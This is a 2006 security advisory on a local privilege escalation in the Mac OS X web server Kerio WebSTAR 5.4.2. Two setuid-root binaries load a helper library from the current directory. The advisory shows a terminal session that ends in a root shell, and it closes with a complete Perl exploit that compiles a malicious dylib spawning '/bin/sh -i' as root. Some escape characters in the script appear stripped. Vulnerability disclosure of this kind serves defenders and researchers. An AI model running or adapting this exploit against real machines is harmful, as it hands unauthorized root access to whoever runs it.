Kerio WebSTAR local privilege escalation

DMA[2006-1115a] - 'Kerio WebSTAR local privilege escalation'
Author: Kevin Finisterre
Vendor(s): http://www.kerio.com/webstar_home.html
Product: 'Kerio WebSTAR <= 5.4.2 (?)'
References: 
http://www.digitalmunition.com/DMA[2006-1115a].txt

Description:
Kerio WebSTAR is an easy-to-use web server for Mac OS X. Acquired in January 2006 from 4D, Kerio WebSTAR 5 (formerly known as 4D 
WebSTAR Server Suite) helps small companies run Internet and intranet websites and integrate them with databases.

Upon installing Kerio WebSTAR you will find that you have inherited two setuid binaries in /Applications 
kevin-finisterres-computer:~/Desktop kf$ find /Applications/Kerio WebSTAR -perm -4000 -ls
978790 3016 -rwsrwx--x    1 root     admin     1542556 Apr 10  2006 /Applications/Kerio WebSTAR/AdminServer/WSAdminServer
979475 3288 -rwsrwx---    1 root     admin     1679724 Apr 10  2006 /Applications/Kerio WebSTAR/WebServer/WSWebServer

If an attacker is able to gain access to either the webstar user or the admin group, he or she may be able to execute code as 
root by abusing the binaries mentioned above. For some odd reason both binaries try to load a helper library from within the current 
directory. In most cases this is obviously not a good idea because an attacker can simply provide the application with the trojaned 
library of his choice.

kevin-finisterres-computer:~ kf$ /Applications/Kerio WebSTAR/WebServer/WSWebServer
dyld: Library not loaded: libucache.dylib
  Referenced from: /Applications/Kerio WebSTAR/WebServer/WSWebServer
  Reason: image not found
Trace/BPT trap

kevin-finisterres-computer:~ kf$ /Applications/Kerio WebSTAR/AdminServer/WSAdminServer  
dyld: Library not loaded: libucache.dylib
  Referenced from: /Applications/Kerio WebSTAR/AdminServer/WSAdminServer
  Reason: image not found
Trace/BPT trap

ktrace gives a better look at what is going on...

1183 WSAdminServer CALL  open(0x17e8,0,0)
  1183 WSAdminServer NAMI  "libucache.dylib"
  1183 WSAdminServer RET   open -1 errno 2 No such file or directory
  1183 WSAdminServer CALL  close(0xffffffff)
...
  1183 WSAdminServer CALL  open(0xbfffea90,0,0)
  1183 WSAdminServer NAMI  "/var/root/lib/libucache.dylib"
  1183 WSAdminServer RET   open -1 errno 2 No such file or directory
  1183 WSAdminServer CALL  close(0xffffffff)
  1183 WSAdminServer RET   close -1 errno 9 Bad file descriptor
  1183 WSAdminServer CALL  open(0xbfffea90,0,0)
  1183 WSAdminServer NAMI  "/usr/local/lib/libucache.dylib"
  1183 WSAdminServer RET   open -1 errno 2 No such file or directory
  1183 WSAdminServer CALL  close(0xffffffff)
  1183 WSAdminServer RET   close -1 errno 9 Bad file descriptor
  1183 WSAdminServer CALL  open(0xbfffeaa0,0,0)
  1183 WSAdminServer NAMI  "/usr/lib/libucache.dylib"
  1183 WSAdminServer RET   open -1 errno 2 No such file or directory
  1183 WSAdminServer CALL  close(0xffffffff)

Exploitation is pretty cut and dry, change directories to a folder that you can write to, compile your helper library, and
take root.

kevin-finisterres-computer:/tmp kf$ ./kerio_WebSTAR_pwn.pl

Usage: ./kerio_WebSTAR_pwn.pl <target>

Targets:

0 . kerio-webstar-5.4.2-mac.bin - WSAdminServer
        1 . kerio-webstar-5.4.2-mac.bin - WSWebServer

kevin-finisterres-computer:/tmp kf$ ./kerio_WebSTAR_pwn.pl 0
*** Target: kerio-webstar-5.4.2-mac.bin - WSAdminServer, Binary: /Applications/Kerio WebSTAR/AdminServer/WSAdminServer
/tmp/kerio_pwn.c: In function 'kerio_pwned':
/tmp/kerio_pwn.c:2: warning: incompatible implicit declaration of built-in function 'exit'
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 9(procmod), 80(admin)

As mentioned previously you must be in the admin group or be the webstar user in order to exploit this issue. If permissions
have been changed other users may be able to elevate their status to root as well.

kevin-finisterres-computer:~ notadmin$ id
uid=505(notadmin) gid=505(notadmin) groups=505(notadmin)
kevin-finisterres-computer:~ notadmin$ /Applications/Kerio WebSTAR/WebServer/WSWebServer
-bash: /Applications/Kerio WebSTAR/WebServer/WSWebServer: Permission denied
kevin-finisterres-computer:~ notadmin$ /Applications/Kerio WebSTAR/AdminServer/WSAdminServer
-bash: /Applications/Kerio WebSTAR/AdminServer/WSAdminServer: Permission denied

Workaround:
Kerio has been contacted, fixes will be available soon. In the mean time limit access to the admin group and the webstar user.

Please chmod -s /Applications/Kerio WebSTAR/AdminServer/WSAdminServer and /Applications/Kerio WebSTAR/WebServer/WSWebServer
#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com) 
#
# you must have access to the webstar user or be in the admin group
#
# This is currently not patched... chmod -s your kerio binaries

foreach $key (keys %ENV) {

delete $ENV{$key};

}

$tgts{"0"} = "kerio-webstar-5.4.2-mac.bin - WSAdminServer:/Applications/Kerio WebSTAR/AdminServer/WSAdminServer";
$tgts{"1"} = "kerio-webstar-5.4.2-mac.bin - WSWebServer:/Applications/Kerio WebSTAR/WebServer/WSWebServer";

unless (($target) = @ARGV) {

print "nnUsage: $0 <target> nnTargets:nn";

foreach $key (sort(keys %tgts)) {
                ($a,$b) = split(/:/,$tgts{"$key"});
                print "t$key . $an";
        }

print "n";
        exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/:/,$tgts{"$target"});
print "*** Target: $a, Binary: $bn";

open(KP,">/tmp/kerio_pwn.c");
printf KP "extern char * argv; __attribute__((constructor)) static void kerio_pwned()n"; 
printf KP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system("/bin/sh -i"); exit(0); }n";

system("gcc -dynamiclib -o /tmp/libucache.dylib /tmp/kerio_pwn.c -current_version 5.0.1 -compatibility_version 5.0.1 -install_name libucache.5.dylib -arch ppc"); 
 
system("cd /tmp; "$b"");

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